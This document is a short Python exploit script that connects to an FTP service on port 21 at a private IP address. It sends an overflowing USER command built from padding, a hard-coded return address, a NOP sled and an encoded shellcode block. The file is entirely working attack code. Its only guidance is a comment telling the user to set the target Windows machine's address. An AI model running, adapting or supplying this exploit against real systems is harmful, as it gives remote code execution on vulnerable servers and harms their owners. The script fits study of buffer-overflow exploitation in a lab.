#Change the IP address related to the windows machine import sys import socket s=socket.socket() s.connect(("192.168.1.56",21)) buf = b"" buf += b"\xbb\x9f\x48\x35\x82\xdb\xdf\xd9\x74\x24\xf4\x5a" buf += b"\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x5d" buf += b"\x4c\xd7\x77\x9d\xa5\x95\x78\x5d\x36\xfa\xf1\xb8" buf += b"\x07\x3a\x65\xc9\x38\x8a\xed\x9f\xb4\x61\xa3\x0b" buf += b"\x4e\x07\x6c\x3c\xe7\xa2\x4a\x73\xf8\x9f\xaf\x12" buf += b"\x7a\xe2\xe3\xf4\x43\x2d\xf6\xf5\x84\x50\xfb\xa7" buf += b"\x5d\x1e\xae\x57\xe9\x6a\x73\xdc\xa1\x7b\xf3\x01" buf += b"\x71\x7d\xd2\x94\x09\x24\xf4\x17\xdd\x5c\xbd\x0f" buf += b"\x02\x58\x77\xa4\xf0\x16\x86\x6c\xc9\xd7\x25\x51" buf += b"\xe5\x25\x37\x96\xc2\xd5\x42\xee\x30\x6b\x55\x35" buf += b"\x4a\xb7\xd0\xad\xec\x3c\x42\x09\x0c\x90\x15\xda" buf += b"\x02\x5d\x51\x84\x06\x60\xb6\xbf\x33\xe9\x39\x6f" buf += b"\xb2\xa9\x1d\xab\x9e\x6a\x3f\xea\x7a\xdc\x40\xec" buf += b"\x24\x81\xe4\x67\xc8\xd6\x94\x2a\x85\x1b\x95\xd4" buf += b"\x55\x34\xae\xa7\x67\x9b\x04\x2f\xc4\x54\x83\xa8" buf += b"\x2b\x4f\x73\x26\xd2\x70\x84\x6f\x11\x24\xd4\x07" buf += b"\xb0\x45\xbf\xd7\x3d\x90\x10\x87\x91\x4b\xd1\x77" buf += b"\x52\x3c\xb9\x9d\x5d\x63\xd9\x9e\xb7\x0c\x70\x65" buf += b"\x50\xf3\x2d\x64\x91\x9b\x2f\x66\xd5\x89\xb9\x80" buf += b"\xbf\x3d\xec\x1b\x28\xa7\xb5\xd7\xc9\x28\x60\x92" buf += b"\xca\xa3\x87\x63\x84\x43\xed\x77\x71\xa4\xb8\x25" buf += b"\xd4\xbb\x16\x41\xba\x2e\xfd\x91\xb5\x52\xaa\xc6" buf += b"\x92\xa5\xa3\x82\x0e\x9f\x1d\xb0\xd2\x79\x65\x70" buf += b"\x09\xba\x68\x79\xdc\x86\x4e\x69\x18\x06\xcb\xdd" buf += b"\xf4\x51\x85\x8b\xb2\x0b\x67\x65\x6d\xe7\x21\xe1" buf += b"\xe8\xcb\xf1\x77\xf5\x01\x84\x97\x44\xfc\xd1\xa8" buf += b"\x69\x68\xd6\xd1\x97\x08\x19\x08\x1c\x28\xf8\x98" buf += b"\x69\xc1\xa5\x49\xd0\x8c\x55\xa4\x17\xa9\xd5\x4c" buf += b"\xe8\x4e\xc5\x25\xed\x0b\x41\xd6\x9f\x04\x24\xd8" buf += b"\x0c\x24\x6d" #payload= [b"A"*230,b"\xfb\x41\xbd\x7c",b"\x90"*20] payload = b"USER "+b"A"*230 + b"\xfb\x41\xbd\x7c" +b"\x90"*20 + buf print(payload) s.recv(1024) s.send(payload+b"\r\n") s.close()